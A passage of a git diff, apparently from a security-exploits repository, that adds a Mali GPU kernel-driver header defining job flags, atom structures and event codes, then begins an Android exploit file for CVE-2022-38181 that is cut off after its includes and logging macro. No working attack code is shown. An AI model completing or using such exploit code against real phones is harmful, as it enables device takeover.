* allocations is passed via the jc element of the atom. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_FREE (BASE_JD_REQ_SOFT_JOB | 0xa) + +/* SW only requirement: Map external resource + * + * This job requests external resource(s) are mapped once the dependencies + * of the job have been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_MAP (BASE_JD_REQ_SOFT_JOB | 0xb) + +/* SW only requirement: Unmap external resource + * + * This job requests external resource(s) are unmapped once the dependencies + * of the job has been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP (BASE_JD_REQ_SOFT_JOB | 0xc) + +/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders) + * + * This indicates that the Job Chain contains GPU jobs of the 'Compute + * Shaders' type. + * + * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job + * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs. + */ +#define BASE_JD_REQ_ONLY_COMPUTE ((base_jd_core_req)1 << 10) + +/* HW Requirement: Use the base_jd_atom::device_nr field to specify a + * particular core group + * + * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag + * takes priority + * + * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms. + * + * If the core availability policy is keeping the required core group turned + * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code. + */ +#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11) + +/* SW Flag: If this bit is set then the successful completion of this atom + * will not cause an event to be sent to userspace + */ +#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE ((base_jd_core_req)1 << 12) + +/* SW Flag: If this bit is set then completion of this atom will not cause an + * event to be sent to userspace, whether successful or not. + */ +#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14) + +/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job starts which does not have this bit set or a job completes + * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use + * if the CPU may have written to memory addressed by the job since the last job + * without this bit set was submitted. + */ +#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15) + +/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job completes which does not have this bit set or a job starts + * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use + * if the CPU may read from or partially overwrite memory addressed by the job + * before the next job without this bit set completes. + */ +#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16) + +/* Request the atom be executed on a specific job slot. + * + * When this flag is specified, it takes precedence over any existing job slot + * selection logic. + */ +#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17) + +/* SW-only requirement: The atom is the start of a renderpass. + * + * If this bit is set then the job chain will be soft-stopped if it causes the + * GPU to write beyond the end of the physical pages backing the tiler heap, and + * committing more memory to the heap would exceed an internal threshold. It may + * be resumed after running one of the job chains attached to an atom with + * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be + * resumed multiple times until it completes without memory usage exceeding the + * threshold. + * + * Usually used with BASE_JD_REQ_T. + */ +#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18) + +/* SW-only requirement: The atom is the end of a renderpass. + * + * If this bit is set then the atom incorporates the CPU address of a + * base_jd_fragment object instead of the GPU address of a job chain. + * + * Which job chain is run depends upon whether the atom with the same renderpass + * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or + * was soft-stopped when it exceeded an upper threshold for tiler heap memory + * usage. + * + * It also depends upon whether one of the job chains attached to the atom has + * already been run as part of the same renderpass (in which case it would have + * written unresolved multisampled and otherwise-discarded output to temporary + * buffers that need to be read back). The job chain for doing a forced read and + * forced write (from/to temporary buffers) is run as many times as necessary. + * + * Usually used with BASE_JD_REQ_FS. + */ +#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19) + +/* SW-only requirement: The atom needs to run on a limited core mask affinity. + * + * If this bit is set then the kbase_context.limited_core_mask will be applied + * to the affinity. + */ +#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20) + +/* These requirement bits are currently unused in base_jd_core_req + */ +#define BASEP_JD_REQ_RESERVED \ + (~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \ + BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \ + BASE_JD_REQ_EVENT_COALESCE | \ + BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \ + BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \ + BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \ + BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \ + BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK)) + +/* Mask of all bits in base_jd_core_req that control the type of the atom. + * + * This allows dependency only atoms to have flags set + */ +#define BASE_JD_REQ_ATOM_TYPE \ + (BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \ + BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE) + +/** + * Mask of all bits in base_jd_core_req that control the type of a soft job. + */ +#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f) + +/* Returns non-zero value if core requirements passed define a soft job or + * a dependency only job. + */ +#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \ + (((core_req) & BASE_JD_REQ_SOFT_JOB) || \ + ((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP) + +/** + * enum kbase_jd_atom_state + * + * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used. + * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD. + * @KBASE_JD_ATOM_STATE_IN_JS: Atom has been given to JS (is runnable/running). + * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet + * handed back to job dispatcher for + * dependency resolution. + * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed + * back to userspace. + */ +enum kbase_jd_atom_state { + KBASE_JD_ATOM_STATE_UNUSED, + KBASE_JD_ATOM_STATE_QUEUED, + KBASE_JD_ATOM_STATE_IN_JS, + KBASE_JD_ATOM_STATE_HW_COMPLETED, + KBASE_JD_ATOM_STATE_COMPLETED +}; + +/** + * typedef base_atom_id - Type big enough to store an atom number in. + */ +typedef __u8 base_atom_id; + +/** + * struct base_dependency - + * + * @atom_id: An atom number + * @dependency_type: Dependency type + */ +struct base_dependency { + base_atom_id atom_id; + base_jd_dep_type dependency_type; +}; + +/** + * struct base_jd_fragment - Set of GPU fragment job chains used for rendering. + * + * @norm_read_norm_write: Job chain for full rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not exceed + * its memory usage threshold and no fragment job chain + * was previously run for the same renderpass. + * It is used no more than once per renderpass. + * @norm_read_forced_write: Job chain for starting incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain exceeded + * its memory usage threshold for the first time and + * no fragment job chain was previously run for the + * same renderpass. + * Writes unresolved multisampled and normally- + * discarded output to temporary buffers that must be + * read back by a subsequent forced_read job chain + * before the renderpass is complete. + * It is used no more than once per renderpass. + * @forced_read_forced_write: Job chain for continuing incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain + * exceeded its memory usage threshold again + * and a fragment job chain was previously run for + * the same renderpass. + * Reads unresolved multisampled and + * normally-discarded output from temporary buffers + * written by a previous forced_write job chain and + * writes the same to temporary buffers again. + * It is used as many times as required until + * rendering completes. + * @forced_read_norm_write: Job chain for ending incremental rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not + * exceed its memory usage threshold this time and a + * fragment job chain was previously run for the same + * renderpass. + * Reads unresolved multisampled and normally-discarded + * output from temporary buffers written by a previous + * forced_write job chain in order to complete a + * renderpass. + * It is used no more than once per renderpass. + * + * This structure is referenced by the main atom structure if + * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req. + */ +struct base_jd_fragment { + __u64 norm_read_norm_write; + __u64 norm_read_forced_write; + __u64 forced_read_forced_write; + __u64 forced_read_norm_write; +}; + +/** + * typedef base_jd_prio - Base Atom priority. + * + * Only certain priority levels are actually implemented, as specified by the + * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority + * level that is not one of those defined below. + * + * Priority levels only affect scheduling after the atoms have had dependencies + * resolved. For example, a low priority atom that has had its dependencies + * resolved might run before a higher priority atom that has not had its + * dependencies resolved. + * + * In general, fragment atoms do not affect non-fragment atoms with + * lower priorities, and vice versa. One exception is that there is only one + * priority value for each context. So a high-priority (e.g.) fragment atom + * could increase its context priority, causing its non-fragment atoms to also + * be scheduled sooner. + * + * The atoms are scheduled as follows with respect to their priorities: + * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies + * resolved, and atom 'X' has a higher priority than atom 'Y' + * * If atom 'Y' is currently running on the HW, then it is interrupted to + * allow atom 'X' to run soon after + * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing + * the next atom to run, atom 'X' will always be chosen instead of atom 'Y' + * * Any two atoms that have the same priority could run in any order with + * respect to each other. That is, there is no ordering constraint between + * atoms of the same priority. + * + * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are + * scheduled between contexts. The default value, 0, will cause higher-priority + * atoms to be scheduled first, regardless of their context. The value 1 will + * use a round-robin algorithm when deciding which context's atoms to schedule + * next, so higher-priority atoms can only preempt lower priority atoms within + * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and + * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details. + */ +typedef __u8 base_jd_prio; + +/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */ +#define BASE_JD_PRIO_MEDIUM ((base_jd_prio)0) +/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and + * BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_HIGH ((base_jd_prio)1) +/* Low atom priority. */ +#define BASE_JD_PRIO_LOW ((base_jd_prio)2) +/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH, + * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_REALTIME ((base_jd_prio)3) + +/* Count of the number of priority levels. This itself is not a valid + * base_jd_prio setting + */ +#define BASE_JD_NR_PRIO_LEVELS 4 + +/** + * struct base_jd_atom_v2 - Node of a dependency graph used to submit a + * GPU job chain or soft-job to the kernel driver. + * + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + * + * This structure has changed since UK 10.2 for which base_jd_core_req was a + * __u16 value. + * + * In UK 10.3 a core_req field of a __u32 type was added to the end of the + * structure, and the place in the structure previously occupied by __u16 + * core_req was kept but renamed to compat_core_req. + * + * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2]. + * Compatibility with UK 10.x from UK 11.y is not handled because + * the major version increase prevents this. + * + * For UK 11.20 jit_id[2] must be initialized to zero. + */ +struct base_jd_atom_v2 { + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +}; + +/** + * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr + * at the beginning. + * + * @seq_nr: Sequence number of logical grouping of atoms. + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + */ +typedef struct base_jd_atom { + __u64 seq_nr; + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +} base_jd_atom; + +struct base_jit_alloc_info { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; + __u64 heap_info_gpu_addr; +}; + +/* Job chain event code bits + * Defines the bits used to create ::base_jd_event_code + */ +enum { + BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */ + BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */ + /* Event indicates success (SW events only) */ + BASE_JD_SW_EVENT_SUCCESS = (1u << 13), + BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */ + BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */ + BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */ + BASE_JD_SW_EVENT_RESERVED = (3u << 11), /* Reserved event type */ + /* Mask to extract the type from an event code */ + BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11) +}; + +/** + * enum base_jd_event_code - Job chain event codes + * + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status + * codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, because the + * job was hard-stopped. + * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as + * 'previous job done'. + * @BASE_JD_EVENT_STOPPED: Can't be seen by userspace, becomes + * TERMINATED, DONE or JOB_CANCELLED. + * @BASE_JD_EVENT_TERMINATED: This is actually a fault status code - the job + * was hard stopped. + * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on + * complete/fail/cancel. + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, + * because the job was hard-stopped. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status + * codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes. + * Such codes are never returned to + * user-space. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes. + * @BASE_JD_EVENT_DONE: atom has completed successfull + * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which + * shall result in a failed atom + * @BASE_JD_EVENT_JOB_POWER_FAULT: The job could not be executed because the + * part of the memory system required to access + * job descriptors was not powered on + * @BASE_JD_EVENT_JOB_READ_FAULT: Reading a job descriptor into the Job + * manager failed + * @BASE_JD_EVENT_JOB_WRITE_FAULT: Writing a job descriptor from the Job + * manager failed + * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the + * specified affinity mask does not intersect + * any available cores + * @BASE_JD_EVENT_JOB_BUS_FAULT: A bus access failed while executing a job + * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program + * counter was executed. + * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal + * encoding was executed. + * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where + * the instruction encoding did not match the + * instruction type encoded in the program + * counter. + * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that + * contained invalid combinations of operands. + * @BASE_JD_EVENT_INSTR_TLS_FAULT: A shader instruction was executed that tried + * to access the thread local storage section + * of another thread. + * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that + * tried to do an unsupported unaligned memory + * access. + * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that + * failed to complete an instruction barrier. + * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job + * contains invalid combinations of data. + * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to + * process a tile that is entirely outside the + * bounding box of the frame. + * @BASE_JD_EVENT_STATE_FAULT: Matches ADDR_RANGE_FAULT. A virtual address + * has been found that exceeds the virtual + * address range. + * @BASE_JD_EVENT_OUT_OF_MEMORY: The tiler ran out of memory when executing a job. + * @BASE_JD_EVENT_UNKNOWN: If multiple jobs in a job chain fail, only + * the first one the reports an error will set + * and return full error information. + * Subsequent failing jobs will not update the + * error status registers, and may write an + * error status of UNKNOWN. + * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to + * physical memory where the original virtual + * address is no longer available. + * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache + * has detected that the same line has been + * accessed as both shareable and non-shareable + * memory from inside the GPU. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table + * entry at level 1 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table + * entry at level 2 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table + * entry at level 3 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table + * entry at level 4 of the translation table. + * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to + * the permission flags set in translation + * table + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading + * level 0 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading + * level 1 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading + * level 2 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading + * level 3 of the translation tables. + * @BASE_JD_EVENT_ACCESS_FLAG: Matches ACCESS_FLAG_0. A memory access hit a + * translation table entry with the ACCESS_FLAG + * bit set to zero in level 0 of the + * page table, and the DISABLE_AF_FAULT flag + * was not set. + * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to + * grow memory on demand + * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its + * dependencies failed + * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data + * in the atom which overlaps with + * BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the + * platform doesn't support the feature specified in + * the atom. + * @BASE_JD_EVENT_PM_EVENT: TODO: remove as it's not used + * @BASE_JD_EVENT_TIMED_OUT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_INVALID: TODO: remove as it's not used + * @BASE_JD_EVENT_PROGRESS_REPORT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_DONE: TODO: remove as it's not used + * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate + * to userspace that the KBase context has been + * destroyed and Base should stop listening for + * further events + * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in + * the GPU has to be retried (but it has not + * started) due to e.g., GPU reset + * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal + * the completion of a renderpass. This value + * shouldn't be returned to userspace but I haven't + * seen where it is reset back to JD_EVENT_DONE. + * + * HW and low-level SW events are represented by event codes. + * The status of jobs which succeeded are also represented by + * an event code (see @BASE_JD_EVENT_DONE). + * Events are usually reported as part of a &struct base_jd_event. + * + * The event codes are encoded in the following way: + * * 10:0 - subtype + * * 12:11 - type + * * 13 - SW success (only valid if the SW bit is set) + * * 14 - SW event (HW event if not set) + * * 15 - Kernel event (should never be seen in userspace) + * + * Events are split up into ranges as follows: + * * BASE_JD_EVENT_RANGE__START + * * BASE_JD_EVENT_RANGE__END + * + * code is in 's range when: + * BASE_JD_EVENT_RANGE__START <= code < + * BASE_JD_EVENT_RANGE__END + * + * Ranges can be asserted for adjacency by testing that the END of the previous + * is equal to the START of the next. This is useful for optimizing some tests + * for range. + * + * A limitation is that the last member of this enum must explicitly be handled + * (with an assert-unreachable statement) in switch statements that use + * variables of this type. Otherwise, the compiler warns that we have not + * handled that enum value. + */ +enum base_jd_event_code { + /* HW defined exceptions */ + BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0, + + /* non-fatal exceptions */ + BASE_JD_EVENT_NOT_STARTED = 0x00, + BASE_JD_EVENT_DONE = 0x01, + BASE_JD_EVENT_STOPPED = 0x03, + BASE_JD_EVENT_TERMINATED = 0x04, + BASE_JD_EVENT_ACTIVE = 0x08, + + BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40, + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40, + + /* job exceptions */ + BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40, + BASE_JD_EVENT_JOB_POWER_FAULT = 0x41, + BASE_JD_EVENT_JOB_READ_FAULT = 0x42, + BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43, + BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44, + BASE_JD_EVENT_JOB_BUS_FAULT = 0x48, + BASE_JD_EVENT_INSTR_INVALID_PC = 0x50, + BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51, + BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52, + BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53, + BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54, + BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55, + BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56, + BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58, + BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59, + BASE_JD_EVENT_STATE_FAULT = 0x5A, + BASE_JD_EVENT_OUT_OF_MEMORY = 0x60, + BASE_JD_EVENT_UNKNOWN = 0x7F, + + /* GPU exceptions */ + BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80, + BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88, + + /* MMU exceptions */ + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4, + BASE_JD_EVENT_PERMISSION_FAULT = 0xC8, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4, + BASE_JD_EVENT_ACCESS_FLAG = 0xD8, + + /* SW defined exceptions */ + BASE_JD_EVENT_MEM_GROWTH_FAILED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_TIMED_OUT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001, + BASE_JD_EVENT_JOB_CANCELLED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002, + BASE_JD_EVENT_JOB_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003, + BASE_JD_EVENT_PM_EVENT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004, + + BASE_JD_EVENT_BAG_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003, + + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | 0x000, + + BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS | + BASE_JD_SW_EVENT_BAG | 0x000, + BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | 0x000, + BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF +}; + +/** + * struct base_jd_event_v2 - Event reporting structure + * + * @event_code: event code. + * @atom_number: the atom number that has completed. + * @udata: user data. + * + * This structure is used by the kernel driver to report information + * about GPU events. They can either be HW-specific events or low-level + * SW events, such as job-chain completion. + * + * The event code contains an event type field which can be extracted + * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK. + */ +struct base_jd_event_v2 { + enum base_jd_event_code event_code; + base_atom_id atom_number; + struct base_jd_udata udata; +}; + +/** + * struct base_dump_cpu_gpu_counters - Structure for + * BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS + * jobs. + * @system_time: gpu timestamp + * @cycle_counter: gpu cycle count + * @sec: cpu time(sec) + * @usec: cpu time(usec) + * @padding: padding + * + * This structure is stored into the memory pointed to by the @jc field + * of &struct base_jd_atom. + * + * It must not occupy the same CPU cache line(s) as any neighboring data. + * This is to avoid cases where access to pages containing the structure + * is shared between cached and un-cached memory regions, which would + * cause memory corruption. + */ + +struct base_dump_cpu_gpu_counters { + __u64 system_time; + __u64 cycle_counter; + __u64 sec; + __u32 usec; + __u8 padding[36]; +}; + +#endif /* _UAPI_BASE_JM_KERNEL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c new file mode 100644 index 0000000..5cf4aef --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c @@ -0,0 +1,796 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include + +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "midgard.h" + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", 